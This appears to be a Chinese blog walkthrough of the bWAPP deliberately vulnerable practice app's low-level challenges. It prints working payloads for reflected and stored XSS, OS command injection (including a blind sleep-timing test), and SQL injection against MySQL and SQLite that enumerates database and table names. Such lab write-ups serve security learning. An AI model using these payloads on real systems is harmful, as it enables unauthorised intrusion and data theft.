本文主要是介绍bwapp通关攻略,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
low低级关卡:
HTML Injection - Reflected (GET)
直接向文本框中添加xss弹框标签
<script>alert('价格')</script>
HTML Injection - Reflected (POST)
个别标签被过滤,可使用不常用的标签绕过
</option></select><img src=1 οnerrοr=alert('和法国')>
HTML Injection - Reflected (URL)
可通过在url后面拼接达成dom型xss注入,在url后面添加?a=<script>alert('xss')</script>
发现标签中的<>被编码,可通过burp抓包,将编码部分修改为原本内容来实现弹框效果
HTML Injection - Stored (Blog)
想该输入框中添加信息,若出现 Field 'id' doesn't have a default value,则是因为没有对id添加自增属性
打开navicat为id字段添加自增属性。
接着就可以直接向框添加xss标签,<script>alert('xss')</script>
iFrame Injection
iframe是可用于在HTML页面中嵌入一些文件(如文档,视频等)的一项技术。对iframe最简单的解释就是“iframe是一个可以在当前页面中显示其它页面内容的技术”。通过利用iframe标签对网站页面进行注入,是利用了HTML标签,实际上就是一个阅读器,可以阅读通过协议加载的活服务器本地的文件、视频等。
可以看到ParamUrl参数可以查看文件,将其值进行修改,可以访问php配置信息
LDAP Connection Settings
若提交信息后出现该页面,则可以找到php.ini文件中的;extension=php_ldap.dll,去掉前面的“;”;在重启apache
Mail Header Injection (SMTP)
通常的做法是网站实施联系表单,反过来将合法用户的电子邮件发送给消息的预期收件人。大多数情况下,这样的联系表单将设置SMTP标头From,Reply-to以便让收件人轻松处理联系表单中的通信,就像其他电子邮件一样。
不幸的是,除非用户的输入在插入SMTP头之前被验证,否则联系表单可能容易受到电子邮件头插入(也称为SMTP头注入)的攻击。这是因为攻击者可以将额外的头部注入到消息中,从而指示SMTP服务器执行与预期不同的指令。
OS Command Injection
在后面添上;ls
OS Command Injection - Blind
没有回显,运用时间盲注(通过反应时间,来判断是否执行代码)
直接输入whoami 'sleep 5',停顿5秒在回显,表示成功
PHP Code Injection
发现多了一个message参数,可以通过修改其值来获取相关信息
Server-Side Includes (SSI) Injection
可直接进行xss注入
SQL Injection (GET/Search)
在进行该movie搜索之前,要为自己的movies表添加数据
该查询是以表中的title字段为目标的,根据返回结果可以判断是sql注入中的联合查询,首先通过order by判断查询的数据量
输入1' order by 8#,显示数据没有8字段
输入1' order by 6#,查询成功,证明是6个字段
输入1' union select 1,database(),3,4,5,6# 在第二个字段输出数据库名字
SQL Injection (GET/Select)
在movie参数后添加 and 1=1#,正常,输入 and 1=2#,报错,所以这是数字型注入
SQL Injection (POST/Search)
同get方法一样
SQL Injection (POST/Select)
通过burp抓包,来修改参数的值,同样输入1 and 1=1#,正常,1 and 1=2,错误,判断属于数字型
SQL Injection (AJAX/JSON/jQuery)
ajax他是一个异步通讯,能够在网页不刷新的情况下,刷新网页内部的东西
而它的返回值一般是json/xml格式的,jQuery中提供实现ajax的方法
输入1' order by 6#,有回显,1' order by 7#没有回显,说明字段数为6
输入-a%' union select 1,database(),(group_concat(table_name)),4,5,6 from information_schema.tables where table_schema='bwapp' #,查看数据库和表
Manual Intervention Required!
若出现此标题,正确输入验证码后可到下一关
SQL Injection (CAPTCHA)
输入1' and 1=1#正常,1' and 1=2#,报错,说明是数字型
输入1' union select 1,database(),3,4,5,6#显示数据库
SQL Injection (Login Form/Hero)
该关卡查看的是heroes表中的登录账户,在该测试之前要首先向heroes表中添加数据
账号密码都输入1,有回显
输入1' order by 3#,回显正常,表示有三个字段
输入1' and 1=1#,正常回显
输入1' and 1=2#,报错,证明是数字型注入
通过返回的信息可以判断,此处可以利用盲注
输入1' and length(database())>10 #,不显示内容
输入1' and length(database())>1 #,正常
SQL Injection (Login Form/User)
此关卡同上关类似,只不过测试的是users表中的账户密码
SQL Injection (SQLite)
输入f,显示如下
根据title的值,可以判断该查询为模糊查询,SQL语句应该是
select * from books where title='%$title%';
在sqlite中,注释符为:--
首先判断注入点
输入 f%' and 1=1-- 正常,输入f%' and 1=2-- 报错,可以判断出是数字型
接着判断字段数
输入 f%' order by 7-- 报错,输入 f%' order by 6--,正常,表示字段有6个
判断数据显示的位置
f%' union select 1,2,3,4,5,6--
爆出所有表和版本
f%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --
Drupal SQL Injection (Drupageddon)
这篇关于bwapp通关攻略的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!